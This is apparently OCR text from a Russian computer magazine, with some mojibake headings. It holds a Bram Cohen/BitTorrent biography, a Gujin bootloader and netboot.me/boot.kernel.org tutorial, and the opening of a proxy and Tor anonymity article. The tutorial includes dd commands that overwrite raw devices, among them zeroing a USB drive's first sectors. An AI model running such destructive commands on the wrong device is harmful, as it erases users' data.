критериями найти место вряд ли было просто, 
но свою роль здесь сыграл бум доткомов, как 
раз пришедшийся на середину 90-х, начало 
2000-х годов. В то время талантливым програм-
мистам были рады во многих компаниях, даже 
если эти самые программисты с презрением 
относились к дресс-коду :).

ÑÄÅËÀÒÜ ÂÑÅÌ ÕÎÐÎØÎ
В последующие годы Коэн успел поучаствовать 
в работе целого ряда стартапов и, конечно, 
почерпнул немало опыта и знаний, в частности 
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его арсенал языков пополнили 
Python и Java. Но наиболее инте-
ресным для нас и для истории стал 
его последний проект, над которым 
Брэм трудился в компании с гово-
рящим названием «Evil Geniuses 
for a Better Tomorrow». Совместно 
с Джимом МакКоем, основателем 
«Злых гениев ради светлого буду-
щего», он корпел над разработкой 
открытой технологии пиринговой 
дистрибуции контента MojoNation. 
Происходило это в 1999-2001 
годах, peer-to-peer сети на тот 
момент уже успели заявить о 
себе, заставив правообладателей 
занервничать; уже разгорался 
конфликт вокруг Napster, и вот-вот 
должны были появиться KaZaa, 

Gnutella и eDonkey2000, подли-
вая масла в огонь. Брэм к этому 
времени уже довольно давно 
интересовался файлообменными 
технологиями и, по собственному 
признанию, «очень хотел создать 
что-то действительно полезное 
людям».
Главной фишкой MojoNation долж-
но было стать следующее: если 
человек захочет сохранить файл 
от любопытных глаз, но одновре-
менно иметь его под рукой, то с 
помощью MojoNation он сможет 
разбить файл на множество мелких 
кусочков, зашифровать, и прога 
распределит их среди миллионов 
компьютеров, на которых она так 
же будет запущена.  

Да, ребята явно что-то перемуд-
рили, поэтому неудивительно, что 
MojoNation «не выстрелила» по-
настоящему, но зато все это навело 
Брэма на интересную мысль. Коэн 
давно подметил, что загрузка и 
скачивание в файлообменных 
сетях вроде KaZaa происходят с 
неравной скоростью — провайде-
ры умышленно создавали эффект 
бутылочного горлышка, урезая 
скорость upload’а. Получалось, 
что, когда два пира обменивают-
ся большим файлом, например, 
копией фильма весом 700 Мб, по-
лучающий льет с прекрасной ско-
ростью, этак 1.5 Мб\с, а раздающий 
добивает разве что до 1\10 этой 
отметки. То, что неплохо работало 

для mp3 и другой мелочевки, для 
больших файлов годилось с тру-
дом, и вот тут-то Брэма и посетила 
идея, что, если разбить файл на 
мелкие кусочки и распределить их 
между несколькими аплодерами, 
это должно существенно поднять 
скорость и «сделать всем хорошо».

ÒÎÐÐÅÍÒ-ÁÅÇÓÌÈÅ
В апреле 2001 года Коэн оставляет 
работу в «Evil Geniuses for a Better 
Tomorrow» и начинает новый этап 
в своей жизни, который он сам ок-
рестил периодом «бедного худож-
ника» — жить тогда приходилось 
за счет скудных сбережений. 
Он целыми днями торчит дома и 
программирует, несмотря на то, что 

мало кто из друзей и близких верит 
в успех его затеи. Впрочем, ска-
зать, что в Брэма не верил совсем 
никто, значило бы соврать. Напри-
мер, его жена Дженна, вспоминая 
тот период, вообще сравнивает 
его с Моцартом, дескать, он писал 
свою музыку так же, как Брэм — на 
одном дыхании, стремительно, 
словно его руку направлял сам 
господь Бог. Согласно все той же 
Дженне, Брэм мог почти весь день 
бесцельно слоняться по дому, из 
кухни в комнату, а потом внезапно 
пойти, сесть за компьютер и начать 
потоком выдавать код, чистый, 
рабочий код.
Сам Коэн, как правило, вспомина-
ет то время с улыбкой и замечает, 
что с ним подобное происходит 
нередко — он частенько прос-
то знает, что прав и, никого не 
слушая, работает над задуманным. 

В случае с BitTorrent’ом Брэм как 
раз был в себе уверен и знал, что 
отлично управляется с написани-
ем протоколов. 
Чутье не подвело камрада Коэна — 
протокол был практически готов 
уже летом 2001 года, во всяком 
случае, проведение беты и первый 
его запуск состоялись 1 июля 2001. 
Кстати, интересный факт — для 
тестирования BitTorrent Брэм 
собрал немалую пачку порнухи, 
которую и раздавали туда-сюда :).
Каковы особенности торрентов, ты, 
думаю, прекрасно знаешь и сам, но 
все же обозначу основные черты: 
децентрализованная структура 
сети; скачивание информации 
практически без очередей; 

отличная скорость; пиры могут за-
качивать насколько файлов, а сами 
файлы разбиты на небольшие 
фрагменты; обмен информацией 
между пирами происходит по пра-
вилу «ты — мне, я — тебе» («Give 
and ye shall receive» — настоящий 
девиз Брэма Коэна).
Широкой аудитории свою разра-
ботку, то есть протокол и первый 
BitTorrent-клиент, Брэм предста-
вил в 2002 году, на первой еже-
годной хакерской конфе CodeCon, 
которую он сам же и организовал, 
совместно со своим бывшим сосе-
дом по комнате Лэном Сассманом. 
Публике BitTorrent был подан как 
OpenSource-продукт, ориенти-
рованный на хардкорных гиков, 
например, предполагалось, что 
линуксойдам будет очень удобно 
распространять с его помощью по 
сети свой софт. Но все повер-
нулось несколько иначе... Нет, 
компьютерщики, конечно, быстро 
оценили плюсы и удобства нового 
протокола, и сарафанное радио 
принялось распространять по 
Cети благую весть о BitTorrent, но 
за какой-то год взорвать интернет 
«БитТорренту» удалось благода-
ря стараниям пиратов и кино- и 
сериало-манов. Дело в том, что 
раньше на закачку новой серии 
любимого телешоу у них уходили 
часы, а теперь счет шел на минуты. 
Товарищи пираты, в свою очередь, 
оценили другие удобства новинки, 
и принялись активно выкладывать 
в BitTorrent вкусное и интересное. 
Преимущества были очевидны, 
и миллионы юзеров поспешили 
оценить их лично. 
Конечно, нельзя забывать о 
главном: самым большим плюсом 
BitTorrent все же была и остается 
его децентрализованность — в то 
время, когда другие файлообмен-
ные сети терпели крах под напо-
ром правообладателей, прижать 
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ОФИЦИАЛЬНЫЙ САЙТ КОМПАНИИ BITTORRENT
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торренты оказалось практически невозможно. 
Брэма Коэна судить оказалось решительно не 
за что (хотя такие мысли, конечно, посещали 
медиа магнатов), а никакой иной «головы» у 
BitTorrent не имелось. Слабым звеном в це-
почке оказались трекеры, которым в послед-
ние годы и достается оптом, за всех и вся, но 
благодаря открытости технологии противосто-
яние «копирасты vs. торрент-трекеры» скорее 
напоминает войну с ветряными мельницами 
или битву с гидрой — на месте отрубленной го-
ловы незамедлительно вырастают две новые. 
Сказать, что Брэм Коэн не ожидал такого 
резонанса и такой популярности, значило 
бы не сказать ничего. Брэм был шокирован 
происходящим и долго не мог поверить, что все 
это имеет место на самом деле. В начале 2003 
года он даже успел снова устроиться на работу, 
подавшись в игростроительную компанию Valve 
(да-да, «Half-Life»), но успех «БитТоррента» 
спутал Брэму все карты. Дело дошло до смеш-
ного — признательные торрент-юзеры щедро 
жертвовали Коэну деньги через PayPal, указан-
ный на его сайте, и суммы этих пожертвований 
были таковы, что все семейство Коэнов, а это 
Брэм, его жена и трое детей, могло спокойно 
и хорошо жить на одни только эти средства. 
Впрочем, чему удивляться, если к концу 2003 
года BitTorrent уже был скачан порядка 20 млн. 
раз. Коэн признается, что представить себе та-
кое количество людей ему сложно и даже жутко. 
Он говорит, что старается вообще об этом не 
думать, предпочитая размышления о коде или о 
любимых зубодробительных паззлах.

ÍÅÐÀÇÐÅØÈÌÀß ÃÎËÎÂÎËÎÌÊÀ
Из Valve Брэм уволился в 2004-м, проработав 
там около года. На этот раз он не стал искать 
новую работу и не пожелал вновь возвращаться 

к стилю жизни «свободного художника». Вмес-
то этого он со своим братом Россом Коэном и 
бизнес-партнером Эшвином Нэвином основал 
компанию BitTorrent Inc., на благо которой 
трудится по сей день.
Компания Коэна занимается нехитрым биз-
несом — продолжает поддерживать, совер-
шенствовать и распространять сам BitTorrent, 
а также предлагает платный для крупных 
клиентов (и по-прежнему бесплатный для про-
стых юзеров) сервис BitTorrent DNA (Delivery 
Network Accelerator) и комплект средств разра-
ботки BitTorrent Software Development Kit. 
Дела у предприятия идут неплохо. Так, в 2005 
году в BitTorrent Inc. вложился крупный инвес-
тор Дэвид Чао, после чего MPAA (Американская 
ассоциация кинокомпаний) поспешила заклю-
чить с Коэном и партнерами сделку, согласно 
которой с официального сайта BitTorrent были 
убраны все ссылки на нелегальный контент, и 
воцарились дружба и мир.
На самом деле, правообладатели с радостью 
утопили бы Брэма вместе с его разработкой, да 
только они упустили момент, воюя с другими 
пиринговыми сетями. К тому же, доказать, что 

Коэн изобрел, или делает что-то нарушающее 
закон, оказалось практически невозможно — 
отвлеченно рассматривая BitTorrent просто как 
протокол, как технологию передачи данных, 
ничего нелегального в нем найти нельзя. 
Вообще, Брэм Коэн, наверное, единственный, 
кто остался в стороне от праздника вседозво-
ленности и веселого хаоса, который торренты 
посеяли в Сети. Он никогда не скачивал 
ничего нелегального, во-первых, потому 
что не слишком одобряет весь сегодняшний 
пиратский бум, во-вторых, потому что очень 
хорошо понимает — MPAA, RIAA и прочие 
организации будут только рады, если он это 
сделает. «Ни в коем случае не хочу давать им 
повод, они наверняка только этого и ждут», — 
говорит Коэн, и с ним трудно не согласиться. 
Впрочем, Брэм, как обычно, не унывает, более 
того, нельзя сказать, что торренты сильно 
нужны своему создателю — любимые шоу и 
фильмы он предпочитает покупать на DVD, 
кабельного у него нет вообще, телевизор он 
не смотрит, а компьютеры ненавидит. Нет, это 
не шутка и не опечатка, Брэм действительно 
часто и совершенно искренне заявляет о том, 
что компьютеры настоящее зло, он терпеть их 
не может и надеется, что в будущем они станут 
удобнее и лучше, а он, в свою очередь, сделает 
для этого все возможное. А пока компьюте-
ры по-прежнему тупые и противные, Брэм 
старается почаще от них отдыхать — он по сей 
день одержим головоломками, логическими 
играми, паззлами, жонглированием и ори-
гами. Он «щелкает» головоломки десятками, 
проектирует свои собственные и признает-
ся, что не отказался бы зарабатывать этим 
на жизнь — сидеть дома и создавать вещи 
настолько сложные, что вряд ли кому-то, кроме 
него самого, удастся их решить. Очень инте-
ресная мысль ведь, похоже, Брэм уже создал 
одну такую неразрешимую головоломку; имя 
ей BitTorrent и над тем, что с ней делать, уже 
больше 5 лет ломают головы все копирасты на 
нашей планете. z

МАКЕТ ГОЛОВОЛОМКИ ЗА АВТОРСТВОМ БРЭМА

БРЭМ КОЭН

СВОИ ГОЛОВОЛОМКИ БРЭМ ПРОДАЕТ
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GUJIN. УМНЫЙ ЗВЕРЬ
LiLo дал Linux возможность быть загруженным, 
Grub позволил избавиться от необходимости 
перезаписи загрузчика после изменения 
конфигурационного файла, а Gujin (http://gujin.
sourceforge.net) не требует ни перезаписи за-
грузчика, ни конфигурационного файла. Клю-
чевая особенность этого загрузчика — автома-
тический анализ разделов и файловых систем 
в поисках Linux-ядер, образов загрузочных 
дисков (*.bdi) и ISO-образов без необходимости 
ручной настройки.
Фактически Gujin вообще не имеет конфигу-
рационного файла. Все, что нужно сделать для 
добавления нового ядра в загрузочное меню — 
просто скопировать его в каталог /boot. Всю 
остальную работу загрузчик сделает во время 
своей инициализации. При этом, если помимо 
Linux в твоей системе есть и другие ОС — они 
также будут добавлены в меню.
Кроме жесткого диска, Gujin может быть уста-
новлен на самые разные накопители, такие 

как флоппи-диски, USB-брелки, CD-ROM, 
SD-карты. Особая версия загрузчика сущест-
вует для операционной системы DOS. Gujin 
умеет напрямую загружать файлы ELF32 и 
ELF64, сжатые gzip, понимает такие файловые 
системы, как FAT12, FAT16, FAT32, ext2, ext3, 
ext4 (с постоянным размером inode) и ISO 9660. 
Он способен загрузить операционную систему 
практически с любого накопителя, даже будучи 
неустановленным на нем (например, загрузить 
ОС с USB-накопителя после загрузки с жестко-
го диска).
Автор загрузчика прикладывает все усилия, 
чтобы его детище оставалось максимально 
совместимым с самыми разными операцион-
ными системами. Во-первых, Gujin почти все 
время работает в реальном режиме процес-
сора, благодаря чему не теряет возможности 
передавать управление другим загрузчикам, 
которые ожидают точку вхождения в реаль-
ном режиме, а также передавать управление 
загружаемым CD/DVD-ROM образам и отвечать 

на неизвестные прерывания BIOS. Во-вторых, 
Gujin не пытается установить страничный ре-
жим памяти, так как это работа ядра: 64-битные 
ELF-файлы должны поддерживать трансля-
цию с 32-х на 64 бита собственными силами. 
В-третьих, даже после перехода в защищенный 
режим Gujin не активирует прерывания: это 
опять-таки должно делать ядро.
Gujin распространяется в виде исходных 
текстов и собранных пакетов почти для всех 
дистрибутивов Linux; получить их можно на 
страничке http://sourceforge.net/projects/gujin/
files. Дистрибутивные пакеты предварительно 
упакованы в tar.gz-архивы, поэтому перед 
установкой их придется извлечь:

$ tar -xzf debian32.tar.gz

$ sudo dpkg -i gujin_2.7_i386.deb

После окончания установки в каталоге /sbin 
появится исполняемый файл gujin, с помощью 
которого производятся все манипуляции с 
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Óìíûé Gujin, íîâàòîðñêèé netboot.me è âàíèëüíûé 
boot.kernel.org

Ìàãèÿ 
çàãðóçêè
Скажи, как ты относишься к тому, чтобы обзавестись бутлоадером, ко-
торый не требует настройки и умеет самостоятельно искать ОС на твоем 
жестком диске? А как тебе идея загрузки всегда свежей версии ОС через 
интернет, без необходимости ее установки, обновления и восстановле-
ния в случае сбоя? Заманчиво? Тогда читай дальше, твоему вниманию 
будет представлен умный загрузчик Gujin, а также онлайновые сервисы 
netboot.me и boot.kernel.org.

UNIXOID
 МАКСИМ  «HATCHET» ПОЛЕВОЙ   MAKS.HATCHET@YANDEX.RU
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загрузчиком, каталог /usr/share/doc/gujin/ 
с документацией, man-страница и «вторая 
голова» загрузчика /boot/gujin.ebios. Уже на 
этом этапе работоспособность Gujin можно 
проверить, просто перезагрузив машину.
Если желания перезагружаться нет, просто 
установи qemu и выполни команду:

$ sudo qemu /dev/sda

На экране ты должен увидеть меню загрузчика 
и список операционных систем на выбор. Кла-
виши <F1-F12> предназначены для выбора 
вариантов загрузки, клавиши «+» и «-» позво-
ляют изменить разрешение экрана, клавиша 
«точка» переводит загрузчик в текстовый 
режим и обратно, клавиши «/» и «*» изменяют 
количество цветов, пробел открывает меню 
настроек. В идеале должна работать еще и 
мышь, но в qemu она почему-то отказывается 
фурычить.
Меню настроек позволяет контролировать 
многие аспекты поведения и внешнего вида 
загрузчика. Такие как информация, отобража-

емая в меню выбора ОС, опции графического 
режима (например, активация режима VESA), 
области поиска ядер и загрузочных дисков (на-
пример, ISO-образы, CD-ROM, флоппи-диски, 
скрытые разделы), активация джойстика (!) 
и многое другое. Включая и такой пункт, как 
удаление Gujin и восстановление прежнего 
загрузчика. Изменения будут сохранены.
Командный интерфейс Gujin достаточно прост 
и включает в себя:
1.  Установку загрузчика на выбранное устройство:

$ sudo gujin /dev/sda

Устройством может быть и USB-брелок, и прос-
той файл.
2. Получение информации о наличии загрузчи-
ка на выбранном устройстве:

$ sudo gujin --report /dev/sda

Кроме имени установленного загрузчика, на 
экран будет выведена масса другой диагнос-
тической информации.

3. Удаление gujin и восстановление предыду-
щего загрузчика:

$ sudo gujin --remove /dev/sda

С помощью Gujin легко создавать весьма 
нестандартные конфигурации для загрузки 
ОС с самых разных носителей. Например, ты 
можешь разместить «вторую голову» загруз-
чика в нужном тебе каталоге, просто выполнив 
команду:

$ sudo gujin /êàòàëîã/gujin.ebios

Или расположить первую и вторую головы 
gujin на разных жестких дисках:

$ sudo gujin --mbr-device=/dev/sda 

/mnt/sdb/boot/gujin.ebios

Причем расширение .ebios указывает на 
метод, который будет использовать первая 
голова gujin для загрузки второй. Возможные 
варианты: bios, ebios, idechs, idelba, and idel48.
Gujin даже может проверить твой флоппи-диск 
на битые сектора и пересоздать файловую 
систему в случае их наличия:

$ sudo gujin --full /dev/fd0

После этого на флоппи-диске останется 
поместить дистрибутив и/или ядро и образ 
initrd в каталог /boot. Чтобы Gujin не выводил 
почем зря меню, используй флаг ‘-t’ во время 
установки загрузчика.
Для установки Gujin на USB-брелок достаточно 
выполнить:

$ sudo gujin --mbr /dev/sdc

На устройстве будет создан один раздел с фай-
ловой системой FAT12/16/32 в зависимости от 
размера. В случае наличия таблицы разделов 
команда вернет ошибку, а флешку придется 
очистить с помощью команды dd:

$ sudo dd bs=512 count=64 if=/dev/

zero of=/dev/sdc

Не каждый BIOS сможет использовать USB-
накопитель с таблицей разделов для загрузки 
операционной системы. Поэтому предпоч-
тительнее отформатировать флешку в так 
называемом формате superfloppy, при котором 
она будет представлять собой один большой 
раздел (без таблицы разделов):

$ sudo gujin --disk=BIOS:0x00,auto 

/dev/sdc

Gujin можно использовать для создания загру-
зочных CD (расширение El-Torito). Для этого 
подготовь с помощью mkiso или другой про-
граммы ISO-образ с нужным тебе дистрибути-
вом (конечно, его придется немного допилить) 
и выполни команду:

ÏÎËÅÇÍÛÅ ÎÏÖÈÈ ÊÎÌÀÍÄÍÎÉ ÑÒÐÎÊÈ GUJIN

--bootdir=каталог — дополнительный каталог для поиска ядер и загрузочных образов.
--cmdline=»» — опции Linux-ядра.
-f, --full — проверка на сбойные сектора перед запуском операций с накопителем.
--mbr-device=устройство — записать MBR на указанное устройство.
--quickboot=число — количество секунд, по прошествии которых начинает загружаться ОС (в 
случае, если найдена только одна ОС).
--default_ide_password=пароль — пароль для доступа к залоченному IDE-диску.
--default_video_mode=номер — дефолтовый VESA-режим для меню (номера режимов можно 
посмотреть, нажав <Tab> в меню загрузчика).
-d=, --disk=DOS|BCD|PIC|FLOPPY|IDE|BIOS|EBIOS ... — метод доступа к диску во время поиска 
второй головы загрузчика (полезно для устаревших материнок или сбойных BIOS’ов).
-COM[1-4][,<9600>[,<n>[,<8>[,<1>]]]]], --serial=COM[1-4]... — последовательный порт для досту-
па к меню загрузчика вместо экрана.
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$ gujin image.iso

Команда изменит первые 512 байт файла и 
допишет в его конец небольшой FAT-раздел, 
содержащий вторую голову загрузчика. После 
файл можно записать на диск или USB-флешку. 
Опция ‘-t’ сработает и в этом случае. С помощью 
не менее простой команды ты легко превра-
тишь Gujin в DOS-программу, которую сможешь 
использовать для загрузки Linux из DOS:

$ gujin boot.exe

GUJIN. ВЫВОДЫ
На моей машине Gujin отработал идеально. 
Все, что понадобилось сделать — установить 
пакет и перезагрузить машину. Меню содер-
жало все найденные ядра, а сам загрузчик 
благополучно отдавал управление ОС. Учиты-
вая, что Gujin способен искать не только ядра, 
но и MBR-записи, ISO-образы, другие ОС на 
жестких дисках, USB-брелках, флоппи-дисках, 
и при этом сам благополучно загружается со 
всех этих устройств, осмелюсь предположить, 
что на сегодня это самый продвинутый и 
простой в использовании бутлоадер. Поэтому 
я буду вспоминать о нем каждый раз, когда 
мне понадобится организовать нестандартную 
схему загрузки чего-либо.

СЕТЕВОЙ ЗАГРУЗЧИК
Хотел бы иметь флешку, содержащую мно-
жество самых разных Linux-дистрибутивов и 

различных диагностических утилит, которые 
находились бы в актуальном состоянии в любой 
момент времени? Скажешь, это невозможно? 
Отнюдь нет, создатели проекта netboot.me 
предлагают скачать образ такой флешки весом 
меньше одного мегабайта.
Все просто: образ содержит сетевой загрузчик, 
который позволяет загрузить (и установить) 
ОС прямо из интернета, предлагая на выбор 
несколько вариантов дистрибутивов. Да, это 
очень медленный и «трафико-затратный» 
способ, но он имеет массу достоинств:
1. Возможность экспериментировать с несколь-
кими ОС и установить понравившуюся без 
дополнительных телодвижений (так или иначе 
тебе все равно придется выкачивать образы ОС 
из интернета).
2. Сервис позволяет загрузить массу незави-
сящих от ОС утилит (вроде memtest86). Они 
всегда будут под рукой, а их загрузка займет 
секунды.
3. Возможность организации массовой уста-
новки на множество машин. Можно установить 
собственный приватный сервер загрузки (об 

этом ниже).
4. Сервис может быть использован для загрузки 
бездисковых рабочих станций. Загрузчик 
можно записать прямо в BIOS, благодаря 
чему бездисковые терминалы, не имеющие 
возможности загружать ОС с носителей, смогут 
загрузить ОС прямо из интернета.
В основе netboot.me лежит загрузчик gPXE 
(http://etherboot.org/wiki), созданный для 
обеспечения возможности сетевой загрузки 
машин, не имеющих поддержки PXE. В отличие 
от PXE, располагающегося в памяти сетевого 
адаптера, загрузчик gPXE может быть записан 
на жесткий диск, флоппи-диск, USB-флешку и 
поддерживает дополнительный набор сетевых 
протоколов, таких как FTP, HTTP и NFS. После 
загрузки gPXE запрашивает меню опера-
ционных систем у сайта netboot.me и отдает 
управление пользователю.
Кроме всего прочего, netboot.me позволя-
ет добавлять в меню загрузчика собствен-
ные пунк ты. Для этого необходимо оста-
вить на сайте пути к собственным kernel 
и initrd и прописать необходимые опции. 
Если конфигурация понравится админис-
траторам сервиса, она будет добавлена в 
меню.
На данный момент netboot.me предлагает 
три образа gPXE-загрузчика: для записи на 
USB-брелок, флоппи-диск и CD. Чтобы вос-
пользоваться его возможностями, достаточно 
выполнить ряд простых действий:
1. Скачать gPXE-загрузчик.
2. Записать на носитель:

$ sudo dd if=netbootme.dsk of=/dev/

fd0 // Ôëîïïè-äèñê

$ sudo dd if=netbootme.usb of=/dev/

sdf // USB-áðåëîê

3. Загрузиться с носителя.
В случае статической настройки сети тебе 
придется указать свои сетевые реквизиты, но 
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Такое меню сгенерировал Gujin на моей машине
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ÏÐÎÁËÅÌÀ ÇÀÃÐÓÇÊÈ NETBOOT.ME È BKO
На некоторых машинах загрузочные диски netboot.me и boot.kernel.org могут отработать 
неправильно, в результате чего ты не увидишь загрузочное меню и не сможешь произ-
вести выбор ОС. Причина в установке загрузчиком неподдерживаемого видеоадаптером 
режима. Исправить ситуацию пока нельзя, но ты можешь воспользоваться режимом 
командной строки (комбинация <Ctrl+B>) для ручной загрузки нужной конфигурации.

ÎÃÐÀÍÈ×ÅÍÈß GUJIN

* 15 ISO-образов на раздел.
* Каждый образ ISO должен состоять максимум из 127 фрагментов.
* Медленная загрузка ISO на ext2/ext3.
* Большинство LiveCD не поддерживается из-за того, что образы ядра имеют нестандарт-
ные названия и расположены не в каталогах / и /boot.
* Нередко Gujin не может определить параметры загрузки ядра для большинства LiveCD, 
потому что они заданы не при сборке, а в опциях собственного загрузчика.
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если сетью управляет DHCP-сервер, все заработает «из 
коробки».
4. Выбрать операционную систему для загрузки/установки. 
Сейчас поддерживается установка следующих ОС:
• Debian Lenny (5.0).
• Debian Testing.
• Fedora 11.
• OpenSUSE 11.1.
• Ubuntu Jaunty (9.04).
• Ubuntu Karmic (9.10).
• FreeBSD 7.2.
• MirOS bsd4me current (создана на базе Open и NetBSD, 
www.mirbsd.org).
В виде загружаемых по Сети LiveCD доступны:
• Tiny Core Linux 2.2.
• Micro Core Linux 2.2.
• MirOS bsd4me current.
Также доступны следующие инструменты:
• Тестеры памяти Memtest 86 и Memtest 86+.
• Утилита для показа информации о железе HDT 0.3.4.
• Мини-дистрибутивы для работы с накопителями GParted 
Live 0.4.5-2 и Parted Magic 4.5.
• Спасательные образы Ubuntu Jaunty (9.04) x86 rescue и 
Ubuntu Karmic (9.10) x86 rescue.
• Загрузчик Smart Boot Manager.
Кроме всего перечисленного, в наличии имеется игра 
nethack и система меню сервиса boot.kernel.org.
Сервис boot.kernel.org (или сокращенно BKO) представляет 
абсолютно идентичную netboot.me функциональность. 
Он использует тот же gPXE и предлагает собственный вари-
ант загрузочного меню, содержащий дистрибутивы:
• Debian live.
• Ubuntu 9.04.
• Damn Small Linux.
• Knoppix 5.0.1.
• Fedora 11 Live CD.
Цель проекта: распространение загрузочных образов сис-
тем диагностики, инсталляторов дистрибутивов и LiveCD, 
тестирование экспериментальных версий ядра.

СОБСТВЕННАЯ КОНФИГУРАЦИЯ 
И СЕРВЕР СЕТЕВОЙ ЗАГРУЗКИ
Выше я уже упоминал о том, что netboot.me позволяет 
добавлять в сервис собственную конфигурацию для 
загрузки. Для этого необходимо залить ядро и образ initrd 
(дистрибутив должен быть в нем) на какую-нибудь сетевую 
машину с белым адресом, войти на сайт netboot.me 
(регистрация не требуется, сервис использует аккаунты 
google для управления пользователями), перейти по 
ссылке «MY CONFIGS», нажать на ссылку «new». В появив-
шемся поле ввести имя новой конфигурации, описание, 

указать адрес ядра в поле «Kernel/Image», адрес initrd-
образа в поле «Initrd» и необходимые аргументы ядра в 
поле «Args».
После того, как конфигурация будет создана, в поле 
«Chainload URL» появится ее адрес, последним элемен-
том которого будет ID конфигурации, — его необходимо 
запомнить. При следующей загрузке с помощью netboot.
me нажми любую клавишу после появления строки 
«Press any key for options or wait n seconds». Выбери 
опцию «Boot a configuration directly» и введи ID своей 
конфигурации.
В отличие от netboot.me, сервис boot.kernel.org не позволя-
ет создавать собственные конфигурации, зато он полностью 
открыт. А это значит, что всю используемую ими платформу 
сетевой загрузки можно скачать и установить на свой сер-
вер. Попробуем так и сделать.
Для начала установим инструменты сборки, систему управ-
ления версиями git и ассемблер nasm:

$ sudo apt-get install build-essential git-

core nasm

Затем получим исходные тексты системы BKO:

$ git clone git://git.etherboot.org/scm/

people/pravin/BKO.git

$ cd BKO

$ git submodule init

$ git submodule update

Отредактируем конфигурационный файл config так, чтобы 
опция BASE_URL содержала URL, по которому будет до-
ступен BKO (он будет вшит в gpxe), а опция ISO_LOCATION_
LOCAL — URL ISO-образов дистрибутивов (сделаем его 
равным BASE_URL/ISO).
Теперь запускаем процесс сборки gpxe и всех остальных 
компонентов BKO:

$ make

$ cd install_help

$ ./configure_BKO.sh

Скачаем модифицированные образы initramfs поддержи-
ваемых дистрибутивов и их ISO-образы:

$ ./download_initramfs_images_http.sh

$ ./download_ISO.sh

Все, осталось только перенести содержимое каталога BKO 
в корень веб-сервера (например, /var/www) и выставить на 
файлы корректные права доступа.z
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Gujin может работать и в текстовом 
режиме

warning
По умолчанию Gujin 
ищет ядра, образы 
загрузочных дискет 
(*.bdi) и ISO-обра-
зы в каталогах / и /
boot. Чтобы научить 
загрузчик искать 
файлы и в других 
каталогах, необхо-
димо использовать 
опцию «--bootdir=/
путь/до/каталога» 
во время установки 
загрузчика.

WARNING
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Загрузочное меню netboot.me
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ПРОКСИ-СЕРВЕРЫ 
И ANONYMOUSE.ORG
Простейшим способом повысить свою 
анонимность в Сети является использование 
прокси-серверов, которые позволяют скрыть 
твой IP-адрес от посторонних глаз с помощью 
его замены на IP-адрес другого узла. Одна-
ко это очень простой и малоэффективный 

способ, при котором твое истинное лицо легко 
раскрыть, просто обратившись за логами к 
владельцу сервера (обычному люду, конечно, в 
такой заявке откажут, а вот против спецслужб 
не попрешь).
Задачу поиска реального IP-адреса мож-
но усложнить, организовав туннель в виде 
цепочки прокси-серверов, проходя через 

который, пакеты будут множество раз менять 
адрес источника. Это даст некоторое преиму-
щество, однако выследить тебя опять же будет 
несложно. Обратившись к владельцам первого 
прокси-сервера, твои преследователи выяснят 
адрес второго, а затем и третьего, и всех после-
дующих прокси. Есть, конечно, немалая вероят-
ность, что владельцем одного из них окажется 
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Êàê îáåñïå÷èòü àíîíèìíîñòü ïðè ðàáîòå
â èíòåðíåòå

Ïîä ïîêðîâîì 
øàïêè-íåâèäèìêè
Перестав быть академической сетью и превратившись в глобальную 
среду развлечений и коммерции, интернет утратил былую свободу. Те-
перь интернет-сайты, провайдеры, хостеры и все, кто занимается интер-
нет-бизнесом, не только могут, но и обязаны выдавать своих клиентов, 
а за хаксорские проделки, скачивание аудио- и видеоконтента или вы-
сказывание неугодных политических взглядов можно угодить за решет-
ку. Как укрыться от большого брата так, чтобы не нашли?

UNIXOID
 Евгений  Зобнин   zobnin@gmail.com
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настоящий человек-тень, затирающий все 
логи, но уверенным в этом быть нельзя (а что-
бы быть уверенным, придется заплатить).
Для ведения анонимной переписки по e-mail 
можно использовать различные емейлеры, 
то есть SMTP-сервера, уничтожающие все 
заголовки, указывающие на реального отпра-
вителя, в процессе пересылки. С помощью 
баунсеров (bouncer, bnc) ты можешь легко 
скрыть свой реальный IP-адрес в сети IRC. Но, 
опять же, эти средства страдают от проблем 
прокси-серверов: при должном терпении твой 
адрес будет не так трудно вычислить. Гораздо 
больший выигрыш дает использование 
специализированного ПО, созданного с целью 
повысить приватность пользователей Сети.

ЛУКОВЫЙ МАРШРУТИЗАТОР
Лучшим и наиболее популярным приложени-
ем из этой области является ПО Tor, которое 
позволяет организовать сеть виртуальных 
туннелей, проходя через которые, сетевые 
пакеты «обезличиваются», превращая про-

цесс определения источников и приемников 
трафика в очень сложную процедуру.
Принцип работы Tor основан на идее так на-
зываемой «Луковой Маршрутизации» (Onion 
Routing), которая была предложена еще в 
середине 90-х годов и запатентована Военно-
морскими силами США. Весь смысл в том, 
что если клиент будет общаться с сервером 
не напрямую, а через цепочку посредников, 
каждому из которых известны только следую-
щее и предыдущее звенья цепочки — отсле-
дить истинный источник и приемник данных 
(одновременно) будет невозможно в любом 
звене цепи.
Работает это так: клиент, пожелавший устано-
вить соединение с сервером, делает запрос к 
одному из трех Tor-каталогов, хранящих спис-
ки всех активных в данный момент Tor-сер-
веров. Из этого списка он случайным образом 
выбирает определенное число серверов (не 
меньше трех), каждому из которых отправляет 
собственный симметричный ключ. Затем 
клиент берет исходное сообщение и шифрует 

ключом последнего в цепочке Tor-сервера, 
затем он добавляет к получившемуся пакету 
еще одно сообщение, содержащее адрес пос-
леднего в цепочке Tor-сервера, и шифрует его 
ключом предпоследнего сервера. Так клиент 
обволакивает сообщение во множество шиф-
рованных слоев, которые будут сниматься по 
мере прохождения пакета через Tor-сервера.
Описанная схема гарантирует, что любой 
из Tor-серверов не будет знать конечного 
адресата пакета, его отправителя и содержи-
мого одновременно. Каждому из них доступна 
только ограниченная часть информации. 
Например, первый узел цепочки знает насто-
ящий адрес отправителя, но не может знать 
содержимое сообщения и адреса получателя. 
Последний узел цепочки знает адрес получа-
теля и даже имеет доступ к содержимому сооб-
щения, но не может знать адреса отправителя. 
Все узлы, находящиеся между ними, не знают 
ни адреса отправителя, ни адреса получателя, 
ни содержимого сообщения.
Чтобы раскрыть всю информацию о соедине-
нии пользователя сети Tor, злоумышленнику 
придется завладеть сразу всеми узлами, учас-
твующими в цепочке (или шантажировать их 
владельцев). Учитывая, что в сеть Tor вовлече-
ны тысячи серверов по всему миру, а также то, 
что выбираются они случайным образом и для 
каждого соединения, можно сказать, что ве-
роятность компрометации сразу всей цепочки 
серверов стремится к нулю. Завладев же 
только одним узлом цепочки, злоумышленник 
не сможет получить достаточной информации. 
Опасность может представлять только захват 
так называемых «выходных Tor-серверов», 
выступающих в роли последних звеньев це-
почки. В этом случае злоумышленник получит 
доступ к оригинальному сообщению и сможет 
прочитать передаваемую в нем информацию. 
